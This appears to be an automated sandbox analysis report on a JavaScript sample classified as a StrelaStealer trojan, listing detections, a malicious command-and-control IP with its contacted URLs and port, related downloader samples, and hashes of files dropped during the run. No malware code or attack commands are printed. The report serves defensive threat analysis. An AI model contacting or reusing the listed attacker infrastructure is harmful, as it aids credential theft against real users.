Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1579614525244583223.js	13%	Virustotal		Browse
1579614525244583223.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2604697735.0000017BAB000000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://www.adobe.co	ReaderMessages.5.dr	false	high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1372266830.000001517ADA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372266830.000001517ADFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372266830.000001517ADD9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1372266830.000001517ADA8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1370243140.0000017BAB200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590634
Start date and time:	2025-01-14 11:54:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1579614525244583223.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/40@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 2.23.240.205, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.19.126.149, 2.19.126.143, 13.107.246.45, 4.245.163.56, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:54:56	API Interceptor	21x Sleep call for process: powershell.exe modified
05:55:00	API Interceptor	1x Sleep call for process: net.exe modified
05:55:00	API Interceptor	2x Sleep call for process: svchost.exe modified
05:55:13	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	New purchase order.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	ProductBOMpq_v4.xlsm	Get hash	malicious	Unknown	Browse	199.232.214.172
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Scanned-IMGS_from NomanGroup IDT.scr.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	12.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.210.172
	PRODUKTY.EXE.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106714464113327088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4931895858073083
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaJ:cJhXC9lHmutpJyiRDeJ/aUKrDgnm3
MD5:	680A0D16767A4C9E38689453F8A8968E
SHA1:	8567BF2D1905E16B0BFCE678FA12E8D7B17C67CF
SHA-256:	20B7463A266DC69E6CA18051F8ED8B3B84764D588B7F94DD54C91C4A04315331
SHA-512:	237DE73BD3DDE157796478D6D61BC4D06CA6F479765B52E2C43E0FB9366A4E2F847ADA949047F8E78616BD6B3754DDA4B6A58A9B206E076145A5EA25C0F7A01E
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x742d95ef, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216522960288103
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:zazaNvFv8V2UW/DLzN/w4wZi
MD5:	A42F7FE4D2C3A7E31641DBFCB910ED63
SHA1:	2C1982C71470103C7746EBD68FD46C1D94C4A0B2
SHA-256:	269EB520C114DBD1787B01F8D5F830AD6CA743FD553E473026481DB4C26925CE
SHA-512:	EC31C3A76BB2C60FE55806D6828C873DB57EB97AE2A81D12A4B22EDB44BFCB46CA74B8C29804D22808B7AC43E467F1F2D4691EF378E4E1A65C024C6924084C2B
Malicious:	false
Preview:	t-..... ...............X\...;...{......................p.D..........{}..7...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................5...7...}..................^.G..7...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07960749304277372
Encrypted:	false
SSDEEP:	3:oP8YeScxjvew/fgsCrZClW/tWc/ill+SHY/Xl+/rQLve:oEzvewfgs3GB/GAS4M
MD5:	BDC3BDBA74D2452B95CF1FA33062F357
SHA1:	102327D7ADE2FBD704669789D045BEF18B76D255
SHA-256:	06C9436419A0B1C0465E7547C51B5FFA0200BE272327F29FA936CA629BA415EA
SHA-512:	FB32B6A8B5BC94B9826710E46BF3C46AE287F011A46C89D29AB26635CB8F8213172D94067107B51D087671CF5BEA0D28F67C1235FB37859CC2BF35B92F9F0E00
Malicious:	false
Preview:	.#~......................................;...{...7...}.......{}..............{}......{}.vv_Q.....{}.................^.G..7...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.153573726818306
Encrypted:	false
SSDEEP:	6:iO85I3L+q2PqLTwi2nKuAl9OmbnIFUtW5KBz1Zmwo5KBlLVkwOqLTwi2nKuAl9Oe:7EVv8wZHAahFUtWKh1/YKh5TwZHAaSJ
MD5:	CD2DC11C74263228AF84ADBC8F7AEFF7
SHA1:	B922AC37D7AC69863A606941376026ACB4756DE0
SHA-256:	C02E0D9A4C69D0B896BF5C94553BFE5BE441F9B093FE2C3141A586D7AC497892
SHA-512:	8F058A5F08CD565CD42474FB606BC3679A8004BAE9D119458C16A6C12999AEB1182CCDB97740C800BC924D3E70A5E52B7464C4B678266821B3285BC618B15E04
Malicious:	false
Preview:	2025/01/14-05:55:00.414 ce8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-05:55:00.416 ce8 Recovering log #3.2025/01/14-05:55:00.416 ce8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.153573726818306
Encrypted:	false
SSDEEP:	6:iO85I3L+q2PqLTwi2nKuAl9OmbnIFUtW5KBz1Zmwo5KBlLVkwOqLTwi2nKuAl9Oe:7EVv8wZHAahFUtWKh1/YKh5TwZHAaSJ
MD5:	CD2DC11C74263228AF84ADBC8F7AEFF7
SHA1:	B922AC37D7AC69863A606941376026ACB4756DE0
SHA-256:	C02E0D9A4C69D0B896BF5C94553BFE5BE441F9B093FE2C3141A586D7AC497892
SHA-512:	8F058A5F08CD565CD42474FB606BC3679A8004BAE9D119458C16A6C12999AEB1182CCDB97740C800BC924D3E70A5E52B7464C4B678266821B3285BC618B15E04
Malicious:	false
Preview:	2025/01/14-05:55:00.414 ce8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-05:55:00.416 ce8 Recovering log #3.2025/01/14-05:55:00.416 ce8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.126500586140513
Encrypted:	false
SSDEEP:	6:iO8cQuBWi+q2PqLTwi2nKuAl9Ombzo2jMGIFUtWcakWZmwocaTVkwOqLTwi2nKuA:7r3Wi+v8wZHAa8uFUtBakW/vaTV5TwZg
MD5:	BE2FCD957C7796920926BB72450C86BD
SHA1:	98A396685FD8FCBBC0EB39FE583509E0E44C6689
SHA-256:	A4BD9ABE03E571EDB4536DAE366710611C925F6C80D3A1B524AB103B9EF6FCAA
SHA-512:	1FDF00D24206F27F10D9E42B607064E073D95F081333C43CBDD9D2DF37092E677C488BAB3E3DCB4944A2E8B1195C996871AD4DB2349D6292409C8F77A28508BA
Malicious:	false
Preview:	2025/01/14-05:55:00.545 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-05:55:00.546 1d3c Recovering log #3.2025/01/14-05:55:00.546 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.126500586140513
Encrypted:	false
SSDEEP:	6:iO8cQuBWi+q2PqLTwi2nKuAl9Ombzo2jMGIFUtWcakWZmwocaTVkwOqLTwi2nKuA:7r3Wi+v8wZHAa8uFUtBakW/vaTV5TwZg
MD5:	BE2FCD957C7796920926BB72450C86BD
SHA1:	98A396685FD8FCBBC0EB39FE583509E0E44C6689
SHA-256:	A4BD9ABE03E571EDB4536DAE366710611C925F6C80D3A1B524AB103B9EF6FCAA
SHA-512:	1FDF00D24206F27F10D9E42B607064E073D95F081333C43CBDD9D2DF37092E677C488BAB3E3DCB4944A2E8B1195C996871AD4DB2349D6292409C8F77A28508BA
Malicious:	false
Preview:	2025/01/14-05:55:00.545 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-05:55:00.546 1d3c Recovering log #3.2025/01/14-05:55:00.546 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\675a5050-f2dc-4776-8f29-a5ce3ddb9a7d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.951329179942108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvtCPsBdOg2HM5caq3QYiub5P7E4T3y:Y2sRdsZwdMHMA3QYhbt7nby
MD5:	594A3CD078FE9F0E41405CCF974EC47A
SHA1:	CEE451AA90D086DCEC5FD069F200F8A783F2D75E
SHA-256:	C034F8544346489002000B8B50FAF38542D573E3B82F5CE345BFABA2DC1DCFA8
SHA-512:	F1C92EAF41A5E7BE8B30CDD2321CC50DB9DFBA26D954CC9D71E6314C8D35CDEFA1D759123953C4D102124963632BC684A9EC5526F85E2D25FFF68729515467B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381412113052803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139319},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.951329179942108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvtCPsBdOg2HM5caq3QYiub5P7E4T3y:Y2sRdsZwdMHMA3QYhbt7nby
MD5:	594A3CD078FE9F0E41405CCF974EC47A
SHA1:	CEE451AA90D086DCEC5FD069F200F8A783F2D75E
SHA-256:	C034F8544346489002000B8B50FAF38542D573E3B82F5CE345BFABA2DC1DCFA8
SHA-512:	F1C92EAF41A5E7BE8B30CDD2321CC50DB9DFBA26D954CC9D71E6314C8D35CDEFA1D759123953C4D102124963632BC684A9EC5526F85E2D25FFF68729515467B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381412113052803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139319},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2244538209842935
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzmeMtZ7:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzmD
MD5:	1859F3D9BEEB7BA03FCC96D6BDA0FBE3
SHA1:	CF5D6ACDE5B1CE8CFD1F598AFE2F607883D9CB26
SHA-256:	DD45C3BADC1A95E1F2E7880F25D10FDCA7749ADA422CBA264B1C93706576EB01
SHA-512:	4DDF965AE4C48235E39F0318C2CCC286DAA9F78B5814D3E019E6A4535AC617D4341C2E809B3A60D1FEF0BDE0BE0D0439FE1CF82835364214CCADF72AD4D1C3DC
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.149986694314098
Encrypted:	false
SSDEEP:	6:iO8N+q2PqLTwi2nKuAl9OmbzNMxIFUtW1gWZmwo1cD3VkwOqLTwi2nKuAl9OmbzE:7S+v8wZHAa8jFUtagW/UmV5TwZHAa84J
MD5:	E88F854CBBC331F6CF9C1B0C543E835F
SHA1:	C16860732568040EECFFD8E27966DD0B2F36F34B
SHA-256:	685B13FC555921DD86F8646405C7D0E05670DC5E8A4EF9050CCB3B569DDA9091
SHA-512:	38DAA3D1490AE97AD54DC8E7FF7BCEEDDB6BE8D4C924FB961C50FD0590A1093BCDD486E7E02C069A5605C4EB954B1F1EEAEA6FBD9341466637FE67947450A2F9
Malicious:	false
Preview:	2025/01/14-05:55:00.777 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-05:55:00.805 1d3c Recovering log #3.2025/01/14-05:55:00.820 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.149986694314098
Encrypted:	false
SSDEEP:	6:iO8N+q2PqLTwi2nKuAl9OmbzNMxIFUtW1gWZmwo1cD3VkwOqLTwi2nKuAl9OmbzE:7S+v8wZHAa8jFUtagW/UmV5TwZHAa84J
MD5:	E88F854CBBC331F6CF9C1B0C543E835F
SHA1:	C16860732568040EECFFD8E27966DD0B2F36F34B
SHA-256:	685B13FC555921DD86F8646405C7D0E05670DC5E8A4EF9050CCB3B569DDA9091
SHA-512:	38DAA3D1490AE97AD54DC8E7FF7BCEEDDB6BE8D4C924FB961C50FD0590A1093BCDD486E7E02C069A5605C4EB954B1F1EEAEA6FBD9341466637FE67947450A2F9
Malicious:	false
Preview:	2025/01/14-05:55:00.777 1d3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-05:55:00.805 1d3c Recovering log #3.2025/01/14-05:55:00.820 1d3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438494361806152
Encrypted:	false
SSDEEP:	384:ye+ci5GtiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pBurVgazUpUTTGt
MD5:	96C10E0D994AEF0359E64B3B56725BB1
SHA1:	13E9E131897F72515CB9E2420AE7EEEB512F94B9
SHA-256:	9DDD10F81EAFD32A83A41A872A2A1A286762E6B950B8E935783B8391253119C3
SHA-512:	F91E6590E00FA153A9C21C1C113AD3078C14C7F91263EC0FCE9A0EFB19F3FB8EAE680669115998DFFDD9B87E0CCCA76ACCB350CA57D3BF5E6F6CAD71D0174DE1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7655146186858257
Encrypted:	false
SSDEEP:	48:7MwJioyVo7ioyzQoy1C7oy16oy1peKOioy1noy1AYoy1Wioy1oioykioyBoy1nof:7fJuo7stSmXjBivfb9IVXEBodRBkc
MD5:	BBE831AFFB9ABE69049224F4BC4B9E33
SHA1:	7B6EB291F6AE820813B1DFC1EF3480BDBCFC4B29
SHA-256:	1F1BBED4738AEE5AB78FA81D336C85CD091A9E6FEF1EE3CB462F454553BA3093
SHA-512:	2A8099025B1196D8AE137A80F07031E7AFB50BC091F6F01367113AF6F7931E36037CBC90A0BF89B68C6CA63AE48C78A7358740E19AD78BE6B9ECCAEFC407A67D
Malicious:	false
Preview:	.... .c.....)..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
